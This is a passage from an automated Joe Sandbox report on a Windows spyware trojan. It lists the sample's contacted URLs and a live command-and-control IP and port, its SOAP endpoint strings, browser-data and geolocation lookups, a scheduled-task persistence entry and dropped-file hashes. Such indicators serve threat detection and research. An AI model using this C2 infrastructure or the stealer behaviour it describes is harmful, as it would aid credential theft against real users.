http://tempuri.org/Endpoint/SetEnvironmentde	0%	Avira URL Cloud	safe
http://185.222.58.91:55615/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://185.222.58.91:5	0%	Avira URL Cloud	safe
185.222.58.91:55615	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.222.58.91:55615/	true	Avira URL Cloud: safe	unknown
185.222.58.91:55615	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	lZ8NRWShfC.exe, lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentme(	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	lZ8NRWShfC.exe, lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdates(	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	lZ8NRWShfC.exe, TmfmVKU.exe.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnviron	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.222.58.91:55615	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C75000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentde	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	lZ8NRWShfC.exe, lZ8NRWShfC.exe, 00000008.00000002.1870267028.0000000000402000.00000040.00000400.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1858249007.0000000004399000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/0	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	lZ8NRWShfC.exe, 00000000.00000002.1761163536.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000A.00000002.1856342329.0000000003389000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.222.58.91:5	TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002D95000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003C4A000.00000004.00000800.00020000.00000000.sdmp, lZ8NRWShfC.exe, 00000008.00000002.1880037858.0000000003BF1000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003DD9000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1972529480.0000000003D80000.00000004.00000800.00020000.00000000.sdmp, tmp3C74.tmp.14.dr, tmp526.tmp.14.dr, tmp516.tmp.14.dr, tmp73A6.tmp.14.dr, tmp3C85.tmp.14.dr, tmp50CB.tmp.8.dr, tmp3CB5.tmp.14.dr, tmp509A.tmp.8.dr, tmp50DB.tmp.8.dr, tmp8760.tmp.8.dr, tmp1959.tmp.8.dr, tmp73B7.tmp.14.dr, tmp7386.tmp.14.dr, tmp3C64.tmp.14.dr, tmp8750.tmp.8.dr, tmpAA2B.tmp.14.dr, tmp872E.tmp.8.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	lZ8NRWShfC.exe, 00000008.00000002.1875131842.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, TmfmVKU.exe, 0000000E.00000002.1966151891.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.222.58.91	unknown	Netherlands		51447	ROOTLAYERNETNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467127
Start date and time:	2024-07-03 18:16:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	lZ8NRWShfC.exe renamed because original name is a hash value
Original Sample Name:	3599fa63d78413242a88966d3b4b14ef.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/99@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 114 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 104.26.12.31, 172.67.75.172
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: lZ8NRWShfC.exe

Simulations

Behavior and APIs

Time	Type	Description
12:17:08	API Interceptor	40x Sleep call for process: lZ8NRWShfC.exe modified
12:17:15	API Interceptor	38x Sleep call for process: powershell.exe modified
12:17:18	API Interceptor	44x Sleep call for process: TmfmVKU.exe modified
17:17:16	Task Scheduler	Run new task: TmfmVKU path: C:\Users\user\AppData\Roaming\TmfmVKU.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.222.58.91	PURCHASE ORDER_203974.exe	Get hash	malicious	Njrat	Browse	185.222.58.91/Czsbc.bmp

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROOTLAYERNETNL	1ppvR5VRT6.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113
	004552024107.bat.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113
	004552024107.bat.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113
	Documents.com.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113
	27062024-322copy.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113
	Jailkeeper.bat.exe	Get hash	malicious	GuLoader	Browse	185.222.58.113
	v1JxTE3aw1.exe	Get hash	malicious	RedLine	Browse	185.222.58.234
	GLslDiEqwx.exe	Get hash	malicious	RedLine	Browse	185.222.58.79
	oIZhm8seZB.exe	Get hash	malicious	RedLine	Browse	185.222.58.70
	FbfKnwuoXd.exe	Get hash	malicious	RedLine	Browse	185.222.58.70

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lZ8NRWShfC.exe.log

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379460230152629
Encrypted:	false
SSDEEP:	48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//YUyus:fLHyIFKL3IZ2KRH9Oug8s
MD5:	FC2D360EC9CA945C562E3B5C1685B424
SHA1:	4B69CCEDE2E97E9F699C76EE0148C105E7D6FFA4
SHA-256:	7BB70E950D7A4B6C6047A44D4F722245B5E872228CF58FA2005FEE27979C25CF
SHA-512:	2C22E9797C5124D72B70493DBD64AA9C331A5B647BD2A0AD3E46DB8AAF10CFE3AD9274E525F83B19A8EDBC4E419DCCA32BA081E8D8D5D1F0D14A57639B0C50AD
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52msmxeb.01u.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5mmr1ppu.3wj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
